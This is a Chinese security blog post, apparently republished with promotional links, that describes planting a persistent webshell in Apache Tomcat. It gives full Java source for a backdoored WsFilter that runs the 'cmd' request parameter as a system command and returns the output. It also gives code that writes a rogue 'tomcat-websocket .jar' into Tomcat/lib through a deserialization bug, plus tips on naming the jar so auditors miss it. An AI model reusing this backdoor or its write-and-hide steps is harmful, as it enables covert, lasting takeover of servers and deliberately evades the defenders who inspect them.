从一个被Tomcat拒绝的漏洞到特殊内存马
介紹
今天研究內(nèi)存馬相關(guān)的東西,偶然間發(fā)現(xiàn)一處解析BUG
一句話來說就是:Tomcat啟動時會加載lib下的依賴jar,如果黑客通過上傳漏洞或者反序列化漏洞在這個目錄添加一個jar,重啟后,某些情況下這個jar會被當(dāng)成正常庫來加載,在一定條件下造成RCE
不一定算得上是漏洞,不過我還是向Tomcat發(fā)了郵件嘗試
Tomcat果然拒絕了,原因是需要在其他漏洞的基礎(chǔ)上觸發(fā)
這個漏洞其實在一些情況下會有巧妙的利用,本文就圍繞這個利用點來談
→點擊查看技術(shù)資料←
1.2000多本網(wǎng)絡(luò)安全系列電子書
2.網(wǎng)絡(luò)安全標準題庫資料
3.項目源碼
4.網(wǎng)絡(luò)安全基礎(chǔ)入門、Linux、web安全、攻防方面的視頻
5.網(wǎng)絡(luò)安全學(xué)習(xí)路線圖
思路
思路來自于之前寫的一篇文章:某知名Java框架內(nèi)存馬挖掘
從中得到一種思路:將惡意代碼邏輯隱藏到目標框架必須的Filter中
換句話來說,是否能將惡意代碼注入到Tomcat默認存在的Filter中呢
使用c0ny1師傅的檢測工具發(fā)現(xiàn),任何情況都會存在WsFilter
能否構(gòu)造出一個惡意的WsFilter類注入到依賴庫中
構(gòu)造
在目標Tomcat/lib下找到tomcat-websocket.jar
找到WsFilter的代碼,在doFilter中插入一些代碼
我這里是簡單的回顯執(zhí)行命令,也可以是一些其他邏輯
package org.apache.tomcat.websocket.server;import java.io.IOException;import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;/*** Handles the initial HTTP connection for WebSocket connections.*/ public class WsFilter implements Filter {private WsServerContainer sc;@Overridepublic void init(FilterConfig filterConfig) throws ServletException {sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);}@Overridepublic void doFilter(ServletRequest request, ServletResponse response,FilterChain chain) throws IOException, ServletException {// 不改變原有邏輯,在這里插入代碼String cmd = request.getParameter("cmd");if (cmd != null && !cmd.equals("")) {Process process = Runtime.getRuntime().exec(cmd);StringBuilder outStr = new StringBuilder();response.getWriter().print("<pre>");java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);String s = null;while ((s = stdInput.readLine()) != null) {outStr.append(s + "\n");}response.getWriter().print(outStr.toString());response.getWriter().print("</pre>");}// This filter only needs to handle WebSocket upgrade requestsif (!sc.areEndpointsRegistered() ||!UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {chain.doFilter(request, response);return;}// HTTP request with an upgrade header for WebSocket presentHttpServletRequest req = (HttpServletRequest) request;HttpServletResponse resp = (HttpServletResponse) response;// Check to see if this WebSocket implementation has a matching mappingString path;String pathInfo = req.getPathInfo();if (pathInfo == null) {path = req.getServletPath();} else {path = req.getServletPath() + pathInfo;}WsMappingResult mappingResult = sc.findMapping(path);if (mappingResult == null) {// No endpoint registered for the requested path. Let the// application handle it (it might redirect or forward for example)chain.doFilter(request, response);return;}UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(),mappingResult.getPathParams());}@Overridepublic void destroy() {// NO-OP} }編譯WsFilter.java生成WsFilter.class字節(jié)碼文件
然后使用手段把tomcat-websocket.jar里的WsFilter.class替換了
(壓縮文件本身有替換功能,也可以使用工具重打包等)
這時候啟動Tomcat發(fā)現(xiàn)一切正常,但已經(jīng)存在了一個“永遠”的Webshell
審計人員會想方設(shè)法審計項目代碼本身,或者使用工具檢查內(nèi)存馬是否存在
然而他們不會想到是Tomcat必須的WsFilter有問題
核心
以上邏輯看似合理,實際上有很大的問題:
依賴庫在Tomcat運行的時候被占用不可修改,所以要停下Tomcat服務(wù),然后才能替換依賴庫
如果思路一直放在如何修改被占用的依賴庫,那么這個問題是無解的
但我發(fā)現(xiàn)了一種巧妙的方法,來自于Tomcat對Jar包的特殊加載順序
(這里是Windows Tomcat 8的測試環(huán)境,其他環(huán)境不確定有這樣的順序)
如果我在Tomcat/lib下復(fù)制一個tomcat-websocket.jar
區(qū)別在于.jar之前加入一個空格:tomcat-websocket .jar
這時候啟動Tomcat會發(fā)現(xiàn)tomcat-websocket .jar被加載了
參考圖片中的路徑,其中包含%20
有了突破思路
利用
假設(shè)目前有一個反序列化漏洞觸發(fā)點,我們首先要做的是給Tomcat/lib下添加惡意庫
這個庫可以由黑客自行構(gòu)造,然后轉(zhuǎn)成二進制數(shù)據(jù)傳過去
try {// 從standardContext中得到的resource路徑是tomcat/libWebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();String path = standardCtx.getClass().getClassLoader().getResource("").toString();// 得到需要寫入的文件路徑tomcat/lib/tomcat-websocket .jarString finalPath = path.split("file:/")[1]+"tomcat-websocket .jar";// 為了測試方便直接讀了文件// 實戰(zhàn)中可以傳過來base64的二進制數(shù)據(jù)(文件不是很大只有200K左右)byte[] data = Files.readAllBytes(Paths.get("C:/JavaCode/Tomcat/tomcat-websocket .jar"));// 寫入目標路徑Files.write(Paths.get(finalPath),data); } catch (Exception e) {e.printStackTrace(); }暫時是無法觸發(fā)的,不過如果程序添加新的功能或者特殊情況,一定會重啟
(其實服務(wù)端的Tomcat重啟概率不算低,很多情況都會重啟)
重啟后會加載惡意的tomcat-websocket .jar文件,這時候已經(jīng)實現(xiàn)了頑固的內(nèi)存馬
攻擊方可以守株待兔時不時嘗試下/xxx.jsp?cmd=whoami看結(jié)果,一旦有結(jié)果說明有重啟,加載了惡意jar
經(jīng)過測試,發(fā)現(xiàn).等情況也會導(dǎo)致這種問題,不過暫時沒有做深入的研究
如下圖,防守方在審計時,看到FilterName和FilterClass都是Tomcat自帶的,FilterClassFile位于Tomcat/lib下的,是沒有什么問題的
面多眾多的Filter和Servlet情況下,很難會想到是WsFilter出的問題
后來測試發(fā)現(xiàn)了一種進一步隱藏的方式:
黑客可以獲取路徑得到tomcat版本,比如我這里的8.5.72,分割路徑即可獲得字符串
然后給新jar包命名位tomcat-websocket-8.5.72.jar
相對于加個.或者空格,這種做法更為隱蔽
代碼在:https://github.com/EmYiQing/MemShell/ 參考文獻
最后
私信我獲取【網(wǎng)絡(luò)安全學(xué)習(xí)資料】
總結(jié)
以上是生活随笔為你收集整理的从一个被Tomcat拒绝的漏洞到特殊内存马的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【漏洞实战】某网站JS文件泄露导致拿到服
- 下一篇: 【安全漏洞】某CMS后台防护逻辑漏洞导致